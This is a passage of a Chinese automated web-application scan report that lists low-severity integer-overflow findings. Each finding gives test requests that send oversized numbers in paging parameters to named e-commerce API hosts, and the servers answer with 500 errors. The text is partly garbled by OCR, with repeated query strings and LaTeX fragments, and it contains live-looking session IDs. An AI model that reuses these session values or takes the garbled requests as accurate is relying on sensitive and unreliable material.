draw=1 \& start=18446744073709551617 \& length=15 \& search \& 5D = \& search \& 5D = \& search \& 5D = false \& pageNum=1 \& start=18446744073709551617 \& length=15 \& search \& 5D = \& search \& 5D = false \& pageNum=1 \& start=18446744073709551617 \& length=15 \& search \& 5D = \& search \& 5D = false \& pageNum=1 \& start=18446744073709551617 \& length=15 \& search \& 5D = false \& pageNum=1 \& start=18446744073709551617 \& length=15 \& search \& 5D = false \& pageNum=1 \& start=18446744073709551617 \& length=15 \& search \& 5D = false \& pageNum=1 \& start=18446744073709551617 \& length=15 \& search \& start=184467440737095709 \& search \& start=184467440737095709 \& search \& start=184467440737095709 \& search \& start=184467440737095709 \& search \& start=18446744073709 \& search \& start=184467440709 \& start=184467440709 \& search \& start=184467440709 \& start=18446740709 \& start=18446740709 \& sta
searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
```

```
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

问题 3 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	length (Parameter)
实体: 风险:	length (Parameter) 可能会收集敏感的调试信息

变体-|1/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=9999999999999999999998search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&s
earchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: \verb|http://system-rest-enterprise.mall.xt.weilian.cn|
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|2/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?draw=1&start=0&length=-
9999999999999996search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-99999999999999999999"
```

变体-|3/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=4294967297&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue
= HTTP/1 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|4/4

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1 \& start=0 \& length=18446744073709551617 \& search \%5 B value \%5 D=\& search \%5 B regex \%5 D=false \& page Num=1 \& start=0 \& length=18446744073709551617 \& search \%5 B value \%5 D=2 \& search \%5 B regex \%5 D=6 \& search 
 earchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, ^{\star/\star};~\text{q=0.01}
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
 For input string: "18446744073709551617"
```

问题 4 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageNum (Parameter)
风险:	可能会收集敏感的调试信息
原因:	可能会收集敏感的调试信息 未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配

变体-|1/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=9999999999999999998pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|2/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=-9999999999999999998pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999999"
```

变体-|3/8

差异: 参数 从以下位置进行控制: 1 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
GET /order/selectCmsOrderList/0?pageNum=4294967297&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|4/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=18446744073709551617&pageSize=15 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

变体-|5/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=99999999999999999999998pageSize=15&orderNo=&goodsname=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|6/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=-9999999999999999999998pageSize=15&orderNo=&goodsname=
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999999"
```

变体-|7/8

差异: 参数 从以下位置进行控制: 1 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=4294967297&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|8/8

差异: 参数 从以下位置进行控制: 1)至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=18446744073709551617&pageSize=15&orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

For input string: "18446744073709551617"

问题 5 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList
实体:	goodslevelid (Parameter)
风险:	可处人业 <u>传出</u> 或协用4户自
	可能会收集敏感的调试信息
原因:	中

变体-|1/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "99999999999999999"
```

变体-|2/3

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应:**

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-99999999999999999999"
```

变体-|3/3

差异: 参数 从以下位置进行控制: (3) 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /pubRole/selectVipRoleList?goodslevelid=18446744073709551617 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

问题 6 / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageSize (Parameter)
实体: 风险:	pageSize (Parameter) 可能会收集敏感的调试信息

变体-|1/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5confiq-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|2/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999"
```

变体-|3/8

差异: 参数 从以下位置进行控制: 15 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=4294967297 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-14/8

差异: 参数 从以下位置进行控制: 15 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

GET /order/selectCmsOrderList/0?pageNum=1&pageSize=18446744073709551617 HTTP/1.1

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

变体-|5/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "999999999999999999"
```

变体-|6/8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=-99999999999999999900cderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "-999999999999999999"
```

变体-|7/8

差异: 参数 从以下位置进行控制: 15 至: 4294967297

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=4294967297&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "4294967297"
```

变体-|8/8

差异: 参数 从以下位置进行控制: 15 至: 18446744073709551617

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
GET /order/selectCmsOrderList/0?pageNum=1&pageSize=18446744073709551617&orderNo=&goodsname=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Referer:\ http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?}
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:52 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "18446744073709551617"
```

问题 **7** / 16 Toc

整数溢出	
严重性:	参考
CVSS 分数:	0.0
